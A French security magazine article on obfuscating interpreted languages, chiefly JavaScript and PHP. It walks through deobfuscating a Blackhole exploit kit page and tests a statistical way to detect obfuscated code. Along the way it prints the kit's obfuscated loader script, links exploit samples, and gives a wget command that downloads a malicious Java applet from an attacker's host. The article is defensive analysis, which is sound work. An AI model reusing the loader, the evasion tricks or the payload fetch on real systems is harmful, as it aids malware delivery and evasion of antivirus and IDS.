Obfuscation de langage interprété : « Cachez ce code que je ne saurais voir »

MISC HS n° 007 | mai 2013 | Guillaume Arcas - Sébastien Larinier
Creative Commons
  • Actuellement 0 sur 5 étoiles
0
Merci d'avoir participé !
Vous avez déjà noté cette page, vous ne pouvez la noter qu'une fois !
Votre note a été changée, merci de votre participation !
Cet article aborde l’obfuscation de langage interprété (Java/JavaScript, Perl, PHP). Dans un premier temps, il détaille ce que nous entendons par obfuscation, les techniques utilisées et les buts recherchés, que ce soit du point de vue de l’attaquant ou de celui du défenseur. Ensuite, cet article détaille des cas d’usage avant d’apporter des pistes sur la détection de code obfusqué et sa désobfuscation.

1. Introduction

Quand on pense « reverse », les premières images qui viennent à l'esprit sont celles d'un individu de sexe masculin, âgé de 20 à 30 ans, aux cheveux longs et à la barbe fournie, passant de longues heures dans la pénombre d'un laboratoire éclairé par la seule lumière de ses écrans, sur lesquels s'affichent d'interminables lignes d'assembleur et cherchant son chemin dans le labyrinthe du code du dernier malware découvert. On pense aussi et surtout « code machine » et langage de bas niveau ; il ne viendrait pas à l'esprit du commun des mortels de parler de rétro-ingénierie pour des langages interprétés tels que PERL, Python, HTML ou JavaScript.

Et pourtant...

Qu'ont en commun les lignes de code suivantes ?

<code 1>

alert("Hello, MISC" )

<code 2>

eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp

<code 3>

"'\"+'+",jb=~[];jb={___:++jb,$$$$:(![]+"")[jb],__$:++jb,$_$_:(![]+"")[jb],_$_:++jb,$_$$:({}+"")[jb],$$_$:(jb[jb]+"")[jb],_$$:++jb,$$$_:(!""+"")[jb],$__:++jb,$_$:++jb,$$__:({}+"")[jb],$$_:++jb,$$$:++jb,$___:++jb,$__$:++jb};jb.$_=(jb.$_=jb+"")[jb.$_$]+(jb._$=jb.$_[jb.__$])+(jb.$$=(jb.$+"")[jb.__$])+((!jb)+"")[jb._$$]+(jb.__=jb.$_[jb.$$_])+(jb.$=(!""+"")[jb.__$])+(jb._=(!""+"")[jb._$_])+jb.$_[jb.$_$]+jb.__+jb._$+jb.$;jb.$$=jb.$+(!""+"")[jb._$$]+jb.__+jb._+jb.$+jb.$$;jb.$=(jb.___)[jb.$_][jb.$_];jb.$(jb.$(jb.$$+"\""+jb.$_$_+(![]+"")[jb._$_]+jb.$$$_+"\\"+jb.__$+jb.$$_+jb._$_+jb.__+"(\\\"\\"+jb.__$+jb.__$+jb.___+jb.$$$_+(![]+"")[jb._$_]+(![]+"")[jb._$_]+jb._$+",\\"+jb.$__+jb.___+"\\"+jb.__$+jb.__$+jb.$_$+"\\"+jb.__$+jb.__$+jb.__$+"\\"+jb.__$+jb._$_+jb._$$+"\\"+jb.__$+jb.___+jb._$$+"\\\"\\"+jb.$__+jb.___+")"+"\"")())(),',)())()""\"+")"+___.bj+__$.bj+"\\"\\\"+$$_.bj+___.bj+$__.bj+"\\"+$$_.bj+_$_.bj+$__.bj+"\\"+$__.bj+$__.bj+$__.bj+"\\"+$_$.bj+$__.bj+$__.bj+"\\"+___.bj+__$.bj+"\\,"+$_.bj+]_$_.bj[)""+][!(+]_$_.bj[)""+][!(+_$$$.bj+___.bj+$__.bj+$__.bj+"\\"\\\("+__.bj+_$_.bj+_$$.bj+$__.bj+"\\"+_$$$.bj+]_$_.bj[)""+][!(+_$_$.bj+""\"+$$.bj($.bj($.bj;]_$.bj[]_$.bj[)___.bj(=$.bj;$$.bj+$.bj+_.bj+__.bj+]$$_.bj[)""+""!(+$.bj=$$.bj;$.bj+$_.bj+__.bj+]$_$.bj[_$.bj+)]_$_.bj[)""+""!(=_.bj(+)]$__.bj[)""+""!(=$.bj(+)]_$$.bj[_$.bj=__.bj(+]$$_.bj[)""+)bj!((+)]$__.bj[)""+$.bj(=$$.bj(+)]$__.bj[_$.bj=$_.bj(+]$_$.bj[)""+bj=_$.bj(=_$.bj;}bj++:$__$,bj++:___$,bj++:$$$,bj++:_$$,]bj[)""+}{(:__$$,bj++:$_$,bj++:__$,]bj[)""+""!(:_$$$,bj++:$$_,]bj[)""+]bj[bj(:$_$$,]bj[)""+}{(:$$_$,bj++:_$_,]bj[)""+][!(:_$_$,bj++:$__,]bj[)""+][!(:$$$$,bj++:___{=bj;][~=bj,"+'+"\'"

À première lecture, rien. Mais en s'y reprenant à deux fois (ou plus), ces scripts font exactement la même chose.

Dans le même esprit, derrière L'un des codes suivants se cache de quoi déclencher l’exploitation d'une vulnérabilité dans le navigateur Internet Explorer, saurez-vous le retrouver en un clin d’œil ?

<code 4>

https://gist.github.com/sebdraven/5190656

<code 5>

https://gist.github.com/sebdraven/5190678

<code 6>

https://gist.github.com/sebdraven/5190689

Nous pourrions multiplier les exemples et varier les plaisirs en montrant que d’autres langages interprétés tels que PERL, Python, PHP et même le vénérable HTML, peuvent nécessiter une rétro-ingénierie quand le développeur utilise des techniques d’obfuscation pour transformer du code lisible en chinois sans intervention de l’unité 61398 de l’Armée Populaire de Libération.

L’obfuscation - Wikipédia lui préfère le terme d'« assombrissement » [1] ou de code impénétrable [2]- est un procédé par lequel du code est rendu inintelligible pour un être humain. Le programme obtenu à partir du code obfusqué reste parfaitement exécutable - à une époque pas si lointaine que ça, certains obfuscateurs de Java faisaient planter l’exécution du programme - et possède les mêmes fonctionnalités qu'un code « propre ».

Cette technique a comme vocation principale de protéger le code contre la copie et la rétro-ingénierie. Pour certains développeurs, c’est aussi un hobby, sinon un art, voire un sport de haut niveau qui a ses propres « olympiades » : citons IOCCC (International Obfuscated C Code Contest[3] ou encore le JAPH (Just Another Perl Hacker[4]. Certains développeurs, tels Monsieur Jourdain faisant de la prose sans le savoir, sont des obfuscateurs nés à l’insu de leur plein gré. L’absence de commentaires et de documentation, l’utilisation de noms de fonction fantaisistes, sont des formes d’obfuscation qui ne seront pas abordées dans cet article.

En résumé, l’obfuscation est une exploitation active d’une faille humaine : l’incapacité du cerveau à appréhender la complexité.

C’est aussi un hobby - ou une seconde nature - pour certains programmeurs. D’aucuns disent même que des langages se prêtent nativement à l’obfuscation.

1.1 L'obfuscation : pour qui et pour quoi ?

Qu’est-ce qui peut bien pousser un développeur normalement constitué et correctement formé à pondre des lignes de code incompréhensibles ?

Passons en revue quelques cas, certains légitimes et d’autres moins, d’obfuscation de code.

1.1.1 Protection de code

Le développeur souhaite entourer d’un halo de mystère le fruit de ses nuits passées devant le clavier et éviter que le premier newbie venu ne lui pique son code à l’aide d’un vulgaire mais efficace copier-coller.

L’obfuscation va permettre dans un premier temps de protéger le code pour rendre plus complexe sa rétro-ingénierie. La solution est moins lourde que le chiffrement du code ou l’utilisation des DRM et ça complique grandement la tâche de celui qui veut comprendre les fonctionnalités du code.

Dans le cadre par exemple de Java, à partir des fichiers compilés en bytecode, il est très trivial de retrouver le code source initial à l’aide de Java Decompiler.

Les programmes développés pour s’exécuter sur le framework .NET ont la même vulnérabilité. Avec un logiciel comme .NET Reflector [5] il est simple de récupérer le listing complet du code.

1.1.2 Camouflage

Il n’est pas rare de trouver sur les sites d’acteurs majeurs de l’Internet des scripts à la syntaxe impénétrable, dont le but est de « tracker » l’utilisateur sous couvert d’analyses. L’obfuscation masque ces actions à l’éthique discutable.

1.1.3 Performances

Quand obfusquer du code aboutit à des scripts de petite taille - on pourrait parler de « packing » - on gagne sur la bande passante côté serveur. Le gain est certes minime pour un blog personnel, mais il est beaucoup plus significatif pour des milliers ou des millions de pages servies quotidiennement. Autre avantage non négligeable : une bonne partie de la charge de calcul (« depacking » et exécution du code) est déportée vers le client.

1.1.4 Contournement des protections

Si les auteurs du kit d’exploitation Black Hole [6] pratiquent l’obfuscation de leur code JavaScript, ce n’est ni pour l'une des raisons précédentes, ni pour concourir à l’équivalent du JAPH, mais bien pour aveugler un éventuel proxy filtrant, ou un antivirus, qui tilteraient au passage des codes d’exploitation des dernières vulnérabilités Java ou PDF/Flash.

Les kits d’exploitation mettent aussi à profit l’obfuscation pour produire du code polymorphe, avec une simplicité déroutante : il suffit souvent de changer la clef d’un XOR pour produire un code différent à chaque appel à la page. Un simple script PHP suffit pour cela. Gageons que ce script sera lui-même obfusqué...

1.1.5 Server Side Polymorphism

De plus en plus souvent, l’obfuscation du code offensif se fait côté serveur et dynamiquement : le code change à chaque requête.

On comprend très vite les possibilités offertes à l’attaquant d'embarquer un JS dans un PDF ou un applet Java qui télécharge un code malveillant.

L’IDS et l’antivirus n’y verront strictement rien. Il faudra des signatures spécifiques, mais qui n’auront qu’une durée de vie limitée. À chaque téléchargement de l’applet ou du PDF, l’attaquant obfusque le code à la volée, et l’IDS est dans le vent.

De plus, on voit le nombre de faux positifs probables obtenus lorsque l’on compare un JS légitime, comme ceux de Facebook ou Google, à celui d’un exploit kit, qu’il soit noir ou blanc.

On trouve des fonctions d'obfuscation de code dans les kits d’exploitation, les pages web piégées, des PDF malveillants, et pour encoder des payloads PHP ou Java sur des sites vulnérables.

1.1.6 ScriptWar

Certains malwares injectent du code HTML ou JavaScript dans le navigateur [7]. Pour ce faire, ils doivent connaître la structure des pages dans lesquelles ces injections seront faites. Ils recherchent des motifs connus (balises <form>, <div>, etc.) qui servent de marqueurs de début ou de fin d’injection. Par exemple : injecter mon code après la balise <div name=password>. Obfusquer le code des pages critiques (page de connexion) peut leurrer le malware et anéantir ses espoirs et ses chances de réussite.

1.1.7 Vade retro robot !

Les robots - qu’on les appelle crawlers ou spiders - constituent pour certains webmestres une catégorie à part entière de programmes indésirables. Plus efficacement qu’un robots.txt dont certains crawlers n’ont cure, du JS savamment obfusqué permet de leurrer ces parasites et, à défaut, de leur refuser l’accès aux pages, interdire l’indexation de tout ou partie d’un site.

Un réseau social très connu use ainsi de cette technique pour protéger plus efficacement la structure de son site que les données de ses utilisateurs, de manière à interdire le parsing automatique de ses pages.

1.1.8 L’homme est un loup pour l’homme

On a coutume de dire que les requins ne se mangent pas entre eux. On pourrait donc penser que les cybercriminels, en bons prédateurs du Net qu’ils sont, obéissent à cette règle.

Eh bien non. S’ils pratiquent l’obfuscation aux dépens de leurs victimes, ils ne se l’interdisent pas entre eux.

Il existe sur le « marché » de nombreux kits de phishing prêts-à-l’emploi, composés des pages HTML et images reproduisant l’interface du site cible (EDF, CAF, banques, etc.) et de scripts PHP permettant le vol de données, ces dernières étant généralement envoyées par mail.

Le phisheur étant sans scrupules et adepte du moindre effort (en un mot : un être humain), il se contente très souvent de déployer un kit sur un WordPress compromis sans prendre le temps, ni le soin de vérifier la présence ou non d'« Easter Eggs » dans le code PHP.

Or, il n’est pas rare que le créateur du kit glisse dans son code des cadeaux Bonux [8] qui lui permettront de se rétribuer sur la « bête », en se faisant envoyer une copie des données volées.

2. Petit manuel d'obfuscation à l'usage des gens honnêtes (ou pas)

Les langages interprétés se prêtent tout aussi bien que les langages de haut niveau à cet exercice grâce à leurs fonctionnalités : manipulation de l’encodage, réflexion, exécution de code à la volée, surcharge de méthode, suppression des sauts de lignes, etc.

Si tous les langages se prêtent à l’obfuscation comme nous allons le montrer par suite, nous aborderons un exemple d’obfuscation et de désobfuscation à travers JavaScript. En effet, ce langage est devenu omniprésent sur Internet et un Web sans JavaScript est aussi envisageable et serait aussi triste qu’un vendredi sans troll. Ensuite, il est massivement utilisé dans les fichiers PDF et Flash, eux-mêmes vecteurs d’infection privilégiés. Pour ces raisons, il est devenu la langue « maternelle » du cybercrime (juste devant le russe et le chinois) et des kits d’exploitation.

Nous allons présenter quelques méthodes peu connues, d'une complexité technique limitée, mais qui contribuent à pourrir les journées de la personne qui va analyser le code.

2.1 (Dés)Obfuscation as a Service

Pour les adeptes du « tout en ligne », il existe de nombreux sites qui proposent gratuitement des services d’obfuscation - et parfois de désobfuscation - de code. Voici une liste non exhaustive de sites offrant des services d'obfuscation de code :

- Pour JavaScript :

http://utf-8.jp/public/jjencode.html

http://www.daftlogic.com/projects-online-javascript-obfuscator.htm

http://dean.edwards.name/packer/

- Pour HTML :

http://portailmediaconnect.free.fr/Langage/sourcelocker.php

Il n’est pas rare de voir des pages de phishing « protégées » à l’aide de ce type d’outil.

- Pour PHP :

http://www.mobilefish.com/services/php_obfuscator/php_obfuscator.php

La simple instruction phpinfo(); est ainsi assombrie :

<?php

eval(gzinflate(base64_decode(rawurldecode('XZO1Du0GAgU%2FJ4lcmEmpzMzsJjIz07W%2Ffl%2B9055qdDTVnY1%2F59lREdh%2FZVUsZfV3811zsUzrXh3H%2F01%2FVeoTjgESb8QTtTbgJdYPls0fq2K7xEqvyyPRhJkXstjS4Ec6RZfFl750ZIcReW5rgOIksbl36WDwnv9UYIMqSAtTUsy8q93EMM2B1LRPuyckWcrxdSZJWLP4cTWM27%2Ft3UIfL72R3ScTfVfEturuBhU6eT2zzWHQLrCpIwPuaWtvN6LyqTRnCMLeNBFjZIFoEG0hL1b4PjlVe4boOTDyDhI7NFkE%2B7dqL1ulgXrlbn%2F7XJ6yLQzSUDmnpRpl5SxWMJ0OGZUf7mtYPLB1KUbtkkZG22Xw%2BV3zETcWny4Fxche0sxJK6QKsG96pg6s3qCVigHpbG7eLpgqywRtwCgPBW0hU4Pp7uhFaMMVUhLNG9SV%2FRe10u2Evw2SfF15RnzDMUPnfaPldLeN%2B7E2gSypPwrY1LXt3uXsjGXhg6AjnJe3DvVbss3DNw3HTVlUaHlPrfSupS%2BVEFZoZeMh6PPX8RsjW%2Fj50aKpV2qxa%2F6mxYMgVoC1jdtMShN6evO7n5x1HySdHviRjMISiv1AzmfOCnDD0KbxPkWR%2FgAWdZYaZI5CT6RFwv8IDMd1ShKJ08C5k%2FUe5U311b0YgHmyA%2Bepi7Tb3XNsHYMhyd3hxZIE3HpPkrHzJtpMsRKpzHhxHJXXaCZGDeZGwjcNJtsWMSob%2F25Wmdk%2Bam8kMuTt994lrjwyHOCotn6SU7UR%2BAaTj0bHA7IhF%2BUzdDg2hBhmF7AJwj1s%2Foqo6x7uErMALPEY5OME2ZX458wL2k1ZTYevoN2gzN1sAuVe7Z482K4llB7FfF6DsDLMilV3IhoD1TrI5%2FA6W4oUFuurAW9N6SbexIjXFrpgdwak%2B33jb%2F2FNMVNQpW%2BlpxM1Sm1o3%2FFJ5JhsnaNLi1qBpkY%2BW2NmlXpsQ19w7oCLw2QZqdTnVBapXeNKk%2BT1dmv8YRkmocnBs4zXie40zdUBD4qfZJ0jK7jlaa08iDWqzP3jY7D%2BGb1gPrnTwm8hWTSqI696ogO07eUoM6b467em9htcqORdwX204%2BbkcsPXUw9A9bPCTRa0llZ0VDu%2B6cb087UkUBJ5Zc%2BE5L5qWnEHDIs5YPotyoYEy0kuKSFvMZHF%2FSGaV0O9TJm%2BgKYIeITa%2BxGWRaDR4RCg0TrN9CflpWIpBTiGEqv3mwXpyBOlcsdpjRUgePzV0l1tvTEHrkvOAcJEPnu8FwaFuJwiZ%2Fak32U7mLlFGOJeN%2BHBloXUnlGG4TQ99vL%2FgkKfoI7CyTp6kLN4dwvnSumvDkeiLWREDZZdpyZX%2Bby7%2F5E4%2F0o3EBoi7sNxRN24CnMba7YsdgQ%2BbO67D1%2B0LHG2swUUd8644VjJmLrVBLqCIutjkZPPrUfmSiFPDSbs8Pp66fNE%2FPYmCMqAwVnrP2Is%2FwcSH0XS0jnkubj1lurWAaRd29sH76zKNwY3IfEDPPtOxC0EDbiksxQAZTccWn43K4FlhzX0wzKaiNDTJAEt4mnqUkMqsTbskJSoLWjuTWirxjEfROg%2Bod8Y%2BRpcDelLa9KfX2x57Uy7I4kn%2Bzc%2BKZGwDnnAJlXPzLcaTWPYWQYR3jOqezJ0cZG3hY4qV7R26iXRORKAm7hhbaCnZo7YOgDpoW5%2FGyNhFOG5sQgkfxumgPyjt6Aqw9T0hl%2FLrMbY78wWOG52EwsGa7HMA9nR%2Bey1wyUgPhKDT6FCGJWBpWWWwkvYfhPQs%2BhNGTacJz6ukVakd%2BNZBPrwQtfXaWX1gfrbU3scDGf3SAJB3DqkAmA7Oe4PSXx%2Fkz0SYz%2Bd2k0AEcf%2BoJCC1i9B5RLDVPxp3B6%2F%2BrbQiClPQJJC1OmyV0SOaDUh6Axrm80f7iDeEC2BVzOcEPVeNjonIbtN73MhEL7YTWqDoaUVsFUkoMg8IENkXj8X%2F%2F84d%2F%2FAQ%3D%3D'))));

?>

2.2 Désobfuscation for dummies

Il existe plusieurs méthodes d’obfuscation de code.

Les plus simples consistent à encoder le code en Base64 avec ou sans modification de l’alphabet, ou à « chiffrer » les données à l’aide d’un XOR dont la clef sera noyée dans le code. Cette dernière méthode est cependant vulnérable à une attaque en brute-force et des outils existent pour cela [9]. Une alternative consiste à utiliser comme clé de chiffrement le user-agent du navigateur de la victime, qui sera récupéré par la fonction navigator.userAgent.

Il existe aussi des méthodes plus avancées.

La première consiste à changer le nom de chaque identifiant de fonction de manière aléatoire, comme illustré dans la figure 1.

Cette méthode s’apparente à l’habitude de certains développeurs de nommer « toto », « tata », « titi », etc., les fonctions de leur programme. Le résultat est un code difficilement compréhensible. On devine juste que selon le type de sortie produit par la fonction toString(), la méthode va retourner un objet spécifique.

Autre chose intéressante dans cet exemple : l’utilisation des API de plus haut niveau de Java.

On ne manipule que des instances de Object avec ses méthodes et la manipulation de chaînes de caractères.

Ce choix de programmation fait partie de l’obfuscation. Le développeur choisit de ne manipuler que des objets et des méthodes génériques (ici Object et ses méthodes associées). La compréhension du code ne peut se faire que par le debug pour comprendre les fonctionnalités du code : fonctions surchargées réellement exécutés, données manipulées...

La surcharge par induction est une seconde technique qui consiste à rendre minimaliste le code en donnant le même nom à plusieurs méthodes ou fonctions.

Si vous enlevez la présentation du code (indentation, espace, etc.), vous obtenez vite ce genre de gloubi-boulga :

<code 7>

this.a=function(){this.c=/rnd=(\d+)-(\d+)-(\d+)-(\d+)-(\d+)-(\d+)-(\w+)-(\d+)/.exec(window.location.search);this.b({s:"l"})};this.b=function(d){varc=window,b=this.c;if(c!==c.parent){d.p={z:b[2],c:b[3],i:b[6]};d.r={z:b[4],c:b[5]};d.m=b[1];c.parent.postMessage(JSON.stringify(d),"*")}};this.d=function(){setTimeout(this.e(),0)};this.e=function(){vara=this;returnfunction(){a.f()}};this.f=function(){varb,j,h,g,m,a,l=0,k,f=[],c="abcdefghijklmnopqrstuvwxyz0123456789",d={};try{j=document.childNodes[1].outerHTML;h=this.c;g=parseInt(h[8],10);for(a=0;a<h[7].length;a++){l+=h[7].charCodeAt(a)}console.log(l)k=Math.floor(l/h[7].length);m=Math.floor(j.length/g);for(a=m;a<j.length;a+=m){f.push(c.charAt((j.charCodeAt(a)^k)%c.length))}b=window.performance.timing;d={s:"s",h:f.join("")};for(ainb){if("number"===typeofb[a]){d[a]=b[a]}}this.b(d)}catch(i){this.b({s:"e"})}}}if("undefined"===typeofcdxu){(function(){varg=window,f=newcdxt(),e=function(){f.d()},i="addEventListener",h="attachEvent";f.a();if(g[i]){g[i]("load",e,false)}else{if(g[h]){g[h]("onload",e)}}}())};

Si vous avez déjà eu la curiosité - et le courage - de lire le code HTML des pages de Google (notamment leur Doodle), ces lignes vous sont familières.

Une dernière technique consiste à éclater le code et éparpiller les instructions dans des méthodes différentes aux quatre coins du code façon puzzle.

<code 8>

function count($id) {
$fichier=$id.».cpt»;
if(!file_exists($fichier)) {
$fp=fopen($fichier,»w»);
fputs($fp,»0»);
fclose($fp);
}
$fp=fopen($fichier,»r+»);
$hits=fgets($fp,10);
$hits++;
fseek($fp,0);
fputs($fp,$hits);
fclose($fp);
}

<code 9>
function count($id) {
$fichier=$id.».cpt»;
create($fichier);
write($fichier);
}
function create($fichier) {
if(!file_exists($fichier)) {
$fp=fopen($fichier,»w»);
fputs($fp,»0»);
fclose($fp);
}
}
function write($fichier) {
$fp=open($fichier,»r+»);
$hits=fgets($fp,10);
$hits = calculate($hits);
fseek($fp,0);
fputs($fp,$hits);
fclose($fp);
}
function open($fichier, $opt) {
$fp=fopen($fichier, $opt);
return $fp;
}
function calculate($hits) {
return $hits++;
}

2.3 V.I.N.C.E.N.T. contre Maximilian

Nous allons mettre les mains dans le cambouis et aborder la désobfuscation de JavaScript à partir d’un cas concret.

Nul besoin de sortir l’artillerie lourde pour cela. Vous pouvez laisser IDA ou OllyDBG au vestiaire et vous n’aurez pas besoin d’écrire votre propre décompilateur. Par contre, vous n’échapperez pas à Python. Les plus audacieux pourront utiliser Node.js.

Nous vous déconseillons l’analyse statique, sinon vous allez vous préparer des nuits blanches, des migraines, des « nervous breakdown » comme on dit de nos jours...

Dans le cadre d’une page web contenant du JS obfusqué, trois possibilités s’offrent à vous.

Vous retroussez vos manches et récupérez le code. Vous le passez à JS Beautifier [10] pour que le code ressemble à quelque chose.

JS Beautifier est une application web que l’on peut faire tourner en standalone sans serveur web sur sa machine avec de multiples bindings. Elle travaille essentiellement sur le lexique et la syntaxe du JavaScript pour remettre en forme le code indenté correctement, comme pourrait le faire votre IDE avec votre langage préféré.

Ensuite, avec votre débugger JS préféré (Firebug ou celui de Chrome), vous placez un windows.write(eval($moncodepouris)) bien senti pour désobfusquer le code. Les plus fainéants surclasseront l'appel à la fonction eval pour la substituer par un appel à alert().

Prenons le code https://gist.github.com/sebdraven/5031120.

La page HTML est composée de quatre scripts :

Le premier script se présente comme ceci :

<code BHEK 1>

<script>if(window.document){function c(){for(i=0,s="";i<a.length;i++){s+=String["f"+"r"+"o"+"m"+"Ch"+"arCod"+ff](a[i]);}}if(window.document)csq=function(){z(s.concat(""));};try{document.body^=2}catch(q){xc=1;if(q)e=eval;rr="rep"+"la"+"ce";doc=document;}try{vasv()}catch(q){ff="e";}try{gewh=1;}catch(sav){xc=false;}vvz="\\"+"(";if(xc)rrr=new RegExp(vvz,"ig");}</script><script language="javascript">

</script>

Et les trois autres comme ceci :

On voit de prime abord que la variable a est encodée.

Celle-ci est utilisée comme un tableau dans le dernier script et des manipulations sont faites (voir ligne 2). Ensuite, la fonction c() est appelée.

On remarque ici que l’attaquant a utilisé trois méthodes d'obfuscation :

- Éclatement des méthodes et des structures de contrôle ;

- Modification de l’encodage ;

- Surcharge par induction.

On va rendre tout cela un peu plus compréhensible. :)

On passe le premier script à JS Beautifier :

Quand on débugge le code une première fois, on voit que nous générons une exception.

A la levée de l’exception, le flux d’exécution est le suivant :

- la variable xc est initialisée à 1,

- la variable e vaut la chaîne de caractères eval,

- la variable rr vaut la chaîne de caractères replace,

- et la variable doc la chaîne de caractères document.

Une seconde exception est générée, car la fonction vasv() n’existe pas.

ff prend la valeur e, puis la variable vvz gewh prend 1 comme valeur.

Comme la condition if(xc) est validée, la variable rrr est initialisée à /\(/gi.

Puis s’exécute cette partie de code :

if(window.document){

a=a[rr](rrr,8).split(""+"@");}

En récapitulant ce que nous avons expliqué ci-dessus :

- rrr prend la valeur /\(/gi,

- rr la valeur replace.

Et le bout de code a=a[rr](rrr,8).split(""+"@")devient :

<code >a=a.replace(‘/\(/gi’,8).split(“”+”@”).

La variable a a comme valeur maintenant un tableau d’entiers qui contient les codes ASCII qui vont être déchiffrés par la fonction c() :

<code>

function c() {

for (i = 0, s = ""; i < a.length; i++) {

s += String["f" + "r" + "o" + "m" + "Ch" + "arCod" + ff](a[i]);

}

Les plus malins - et ceux qui ne se sont pas laissés distraire par les publicités - auront compris que String["f" + "r" + "o" + "m" + "Ch" + "arCod" + ff](a[i]); = fromCharCod(a[î]) prend un entier en paramètre et renvoie sa valeur ASCII.

C’est à la sortie de la boucle que l’on appelle document.write() :

On obtient alors le JavaScript désobfusqué que l’on repasse à JS Beautifier pour obtenir un joli listing.

https://gist.github.com/sebdraven/5031979

Une fois la fonction c() exécutée, on exécute le code suivant :

if (window.document) csq = function () {

        z(s.concat(""));

    };

Si tout le monde a suivi, on constate que la fonction z() c’est eval() !

Car à la sortie de la fonction c() on a :

z=asvxzc=e;

e avait été initialisée à eval().

Une fois dans l’eval, le code charge un applet Java :

j1()

BBvKtO...g%3D%3D (line 1)

d = Object { mimeType=[3], classID="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93", navigator={...}, more...}

f = ".jar"

c = "../data/getJavaInfo.jar"

On récupère cet applet grâce à wget :

wget forummersedec.ru:8080/forum/data/getJavaInfo.jar

La version de la JVM est passée en argument pour l’exécution de l’applet :

j1(b="1.6.0_50", c=undefined)BBvKtO...g%3D%3D (line 1)

Une astuce consiste à surcharger la fonction eval() :

<code eval>

<script>

       eval = function(a) { document.write(a); return 1};

</script>

Dans la partie header, et sans debbuging, on obtient le même résultat.

3. Comment rendre les choses un peu plus industrielles ?

On se rend vite compte qu’il est impossible pour une société qui intéresse APT1 d’analyser tous les JS qui sont exécutés dans les navigateurs des employés.

Pour ceux qui ne sont pas à l’aise avec ce genre d’exercice, il existe des solutions en ligne comme Wepawet ou Jsunpack pour JS ou Java.

En mode « offline », des outils comme Thug et Jsunpack-ng tentent d’industrialiser la désobfuscation de code. Thug [11] est un pot-de-miel qui simule le comportement d'un navigateur Internet plus ou moins vulnérable (non, je n'ai pas dit « IE » !), face à des scripts malveillants. Thug va exécuter les pages et logguer l’ensemble des interactions que va avoir la page (chargement de plugins, exécution d’applets...). Pour cela, il embarque le moteur de Google V8, qui va interpréter le JavaScript et l’exécuter.

Jsunpack-ng [12] propose des fonctionnalités proches de celles de Thug. Il exécute le code JS en utilisant SpiderMonkey de Mozilla et, un peu comme un IDS, va être capable de détecter le payload utilisé et le type de vulnérabilité exploité.

Pour celui qui aime les maths, le chercheur Alexander Henler [13] a mis au point une méthode basée sur l’analyse de la structure d’un code pour détecter une obfuscation. Par expérience, un code obfusqué va être un code dont la structure va être grandement modifiée et peut contenir des incohérences statistiques. Après avoir analysé des JS différents, il en conclut que si le rapport entre la moyenne du nombre de caractères par ligne et la médiane du nombre de caractères rencontrés est supérieur à 2, le code rencontré est très probablement obfusqué.

Testons cette méthode sur plusieurs codes.

Si on reprend l’exemple de notre BlackHole v2, observez le graphe du code obfusqué en figure 7.

Nous avons une moyenne du nombre de caractères à 631 et une médiane à 20. Cela signifie qu’on a une moyenne de 631 caractères par ligne de code, qu’en moyenne on rencontre plus de fois une vingtaine de caractères. Cela signifie qu’il y a une anomalie dans le code au niveau de son format.

Faisons le même calcul et le même graphe avec le code desobfusqué (Fig. 8).

On obtient une moyenne de 34 et une médiane de 26 pour un code dont la dangerosité est identique, mais dont la structure a changé.

Faisons la même expérience avec du code Facebook (Fig. 9).

Il le voit bien comme obfusqué, avec une moyenne de 95 caractères et une médiane de 36.

Il existe cependant une méthode d’obfuscation qui contourne ce test : c’est la méthode de surcharge par induction (voir code 4).

Pour cet exemple, on obtient le graphe de le figure 10.

Le code est homogène avec une moyenne de 23 et une médiane de 20.

Le test fonctionne donc bien pour des codes obfusqués par encodage, ce qui impacte fortement leur structure.

Comme l’entropie pour le fichier PE, ce test donne un premier niveau d’information, sans l’avoir exécuté, par simple analyse statique du code.

4. La désobfuscation est-elle un échec ?

La question à 2 centimes d’Euro (soit 2 Yuan) est : peut-on automatiser la désobfuscation ?

Nous allons faire une réponse de Normand.

Si on regarde les services en ligne de désobfuscation comme Wepawet où Jsunpack, les fonctions eval, document.write sont surchargées et font exécuter le code par un interpréteur (Rhino, le moteur de Mozilla, dans les deux cas).

Comme l’attaquant est malin, il passe son code malicieux à exécuter à la fonction setTimeout.

Et c’est là que les sandboxes en ligne plantent et n’exécutent pas le code, renvoyant dans le meilleur des cas une erreur. Le code est vu comme non malveillant et c’est le drame.

Une analyse manuelle est alors nécessaire. Il faut identifier le code et l’extraire pour l’exécuter en jouant sur les mêmes fonctions. Cela revient quelque part à hooker l’interpréteur.

Dans les langages comme PHP ou Java, c’est quasiment impossible de le faire de manière automatique, car pour la plupart des codes obfusqués, le langage ne permet pas, comme avec JavaScript, de redéfinir les méthodes de la classe Object. Les objets ne peuvent qu’en hériter, ce qui reviendrait à connaître l’objet qui porte le code malveillant et, à la volée, à redéfinir les bonnes fonctions pour afficher le code. Mais connaître l’objet nécessite au moins de l’avoir débuggé une fois (et là le serpent se mord la queue).

Autre question : un code peut-il se protéger contre la désobfuscation ?

Dans l’absolu non, car même s’il y a des mécanismes de vérification de codes (signature du code par exemple), en debuggant il est possible de contourner ces mécanismes. Donc, à cette question, la réponse est non. Par contre, le code peut se protéger en appliquant des timeout un peu partout pour s’exécuter en contrant les points d’arrêt (breaking points) du debugger.

Références

[1] http://fr.wikipedia.org/wiki/Obfuscation

[2] http://fr.wikipedia.org/wiki/Code_impénétrable

[3] http://en.wikipedia.org/wiki/International_Obfuscated_C_Code_Contest et http://www.ioccc.org/

[4] http://en.wikipedia.org/wiki/Just_another_Perl_hacker et http://en.wikipedia.org/wiki/Obfuscated_Perl_Contest

[5] http://en.wikipedia.org/wiki/.NET_Reflector

[6] http://en.wikipedia.org/wiki/Blackhole_exploit_kit

[7] MISC n°60 – Injections Web malveillantes

[8] http://fr.wikipedia.org/wiki/Bonux

[9] http://tomchop.me/2012/12/yo-dawg-i-heard-you-like-xoring/

[10] https://github.com/einars/js-beautify

[11] https://github.com/buffer/thug

[12] https://code.google.com/p/jsunpack-n/

[13] http://hooked-on-mnemonics.blogspot.it/2013/02/detecting-pdf-js-obfuscation-using.html